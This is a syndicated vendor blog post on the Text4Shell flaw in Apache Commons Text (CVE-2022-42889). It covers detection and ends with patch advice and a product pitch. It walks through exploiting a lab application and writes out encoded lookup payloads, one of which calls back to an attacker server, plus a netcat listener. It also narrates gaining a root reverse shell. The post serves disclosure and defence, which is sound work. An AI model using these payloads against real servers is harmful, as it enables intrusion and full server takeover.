Vulnerability Explained: Remote Code Execution through Text4Shell

On October 13, a vulnerability in the Apache Commons Text library was publicly disclosed. Tracked as CVE-2022-42889 and with a CVSS risk score 9.8, this is a remote code execution (RCE) zero-day vulnerability which can be exploited by attackers to fully control vulnerable application servers.

The Apache Commons Text library is used for text handling, and includes operations such as calculating string differences, string escaping, substituting placeholders in text and more.

The vulnerable versions of this library are 1.5 through 1.9, with the vulnerability having been patched in version 1.10.

Impact on Neosec
The Apache Commons Text vulnerability (CVE-2022-42889) does not affect any Neosec components.

Detecting Text4Shell With Neosec
Neosec monitors API activity using a myriad of out-of-band methods, which ensures broad coverage with minimal friction.

Neosec Command Injection detection models already detect Text4Shell RCE payloads. In addition, anomaly detection models also trigger alerts on these exploitation attempts.

 

Text4Shell Vulnerability Details

Text4Shell is caused by the set of default lookup instances that can execute expressions, resolve DNS records and load values from URLs. This set includes interpolators that could result in arbitrary code execution. The interpolation process evaluates the properties of strings for dynamic replacement of their placeholders with matching values.

The exploits that are published in the AppSec community, contain the following interpolation format “${prefix:<java_execution_function>}” where:

1. “prefix” can be one of the following StringLookup instances: script, url or dns
2. The payload transferred as the value of a query parameter

It’s important to emphasize that in order to exploit this vulnerability, an application must use a vulnerable configuration of a class that uses script lookups (such as StringSubstitutor) and accept any arbitrary user input. In addition, the vulnerable version of Apache Commons Text should be used. Thus, this vulnerability is not as easy to exploit as the Log4Shell vulnerability and the CVSS risk score may be changed in the future.

Text4Shell Vulnerability Explained

In order to test the vulnerability, we used the following GitHub repository. The repository contains a vulnerable Java web application which is vulnerable to Text4Shell.

Vulnerable code

• The code imports the StringSubstitutor class from the Apache Commons Text package.

  

• The application accepts arbitrary user controlled input without any restrictions or validations through the search query parameter.
• The value of the search query parameter called into the replace() method within the source text for interpolation. The interpolation created by the createInterpolator() method which is the vulnerable method.

  

Detection

It seems that we can’t detect the use of Apache Commons Text library nor the vulnerable method, using black-box approach. In our vulnerable application, the following screenshot shows that the Wappalyzer tool can’t detect the application’s technology. http://example.com/text4shell/attack?search=test 

But, we can detect that the application runs on Java language as we forcefully browse to a non-existent page, which responds with the Java Spring famous Whitelabel Error Page. http://example.com/non-existent

Additionally, when we are trying to send characters that can be referred to template injections ({} aka left curly bracket and right curly bracket), the application responds with a 400 Bad Request, as we can see in the following screenshot: http://example.com/text4shell/attack?search=test${}

But when we are using URL encoding to encode these characters, the application responds with 200 OK, and the characters get printed. http://example.com/text4shell/attack?search=test%24%7B%7D

So we have an indication that the application runs on Java language, it accepts a value from the search query parameter and prints it to the page. The application responds with an error when we are trying to send special characters, but it can be bypassed using URL encoding, and it seems that there is no input validation which is great to us!

Before we fully exploit the vulnerability and run OS commands, we can test the url lookup instance that is used for calling a remote URL. If it works, and we get a call to our attacker’s server, it might be vulnerable to Text4Shell.

Let’s send the following URL with the url lookup to the attacker’s server. The decoded payload is printed by the application. http://example.com/text4shell/attack?search=%24%7Burl:UTF-8%3Ahttp://10.211.55.7%3A8080%2Fattacker-server%7D

As you can see, we’ve got a new log in the attacker’s server from the vulnerable application that indicates that we successfully used the lookup.

This is a great indication that the application might use a method that is vulnerable to Text4Shell!

 

Exploitation

Before trying to get a reverse shell on the server, let’s try simple commands and see how the application responds to them.

When we try to read a file, for example /etc/passwd using the cat command, we see that the server responds with 200 OK but we can’t fully understand if the command was successful due to the fact the application only prints our payload.

Thus, we may have a scenario of blind remote code execution (RCE). Blind RCE is when attackers manage to run commands on the vulnerable server but can’t see the output of the command.

 

Simple detection of command execution

There are some payloads especially for blind command execution attacks, in this case we will use the wget command. This command is a utility for downloading files from the web. Thus, we will set up an HTTP server listener on our attacker server and wait for a “downloading” request from the vulnerable server.

In the attacker’s server, we can see that there is a log requesting the file “using-wget-command”. Now we have an indication that the command ran successfully!

 

Reverse shell exploit

Now that we have the indications that we can run commands on the application’s server, it’s time to initiate a reverse shell for easy access and command execution.

In our black-box approach, we don’t really know if there are already installed command line tools that we can use for connectivity, but it’s worth trying. So we tried to initiate a reverse shell using the nc command.

We created a listener and ran the following command on our attacker’s machine nc -lnvp 4444

Next we sent the following request that connects the victim server to our attacker’s machine

And we received a connection on the attacker’s server! When we run the whoami command, it looks like we are running as root and we completely control the application server.

 

Summary

The Text4Shell vulnerability is a critical one due to its impact, but as we outlined in this blog post, there are specific conditions that must exist in order to exploit this vulnerability. When exploiting the vulnerability, one should consider using the susceptible characters in the exploit payload.

It is recommended to upgrade the Apache Commons Text library to the latest version 1.10. Moreover, it is always recommended to perform input validation on the server side and never trust controlled user input.

 

Protect your APIs with Neosec

• Neosec monitors API activity out of band, which ensures an easy set up, minimal friction, and zero impact on your production environment
• Neosec discovers your API services and endpoints from your API activity data
• Neosec evaluates the risk posture of each API
• Neosec detection models alert on all All OWASP API Top 10 exploitation attempts
• Neosec detection models alert on API behavioral anomalies and abuse
• Neosec ShadowHunt is a managed threat hunting service focused on APIs

 

*** This is a Security Bloggers Network syndicated blog from Blog authored by Almog Cygel. Read the original post at: https://www.neosec.com/blog/vulnerability-explained-remote-code-execution-through-text4shell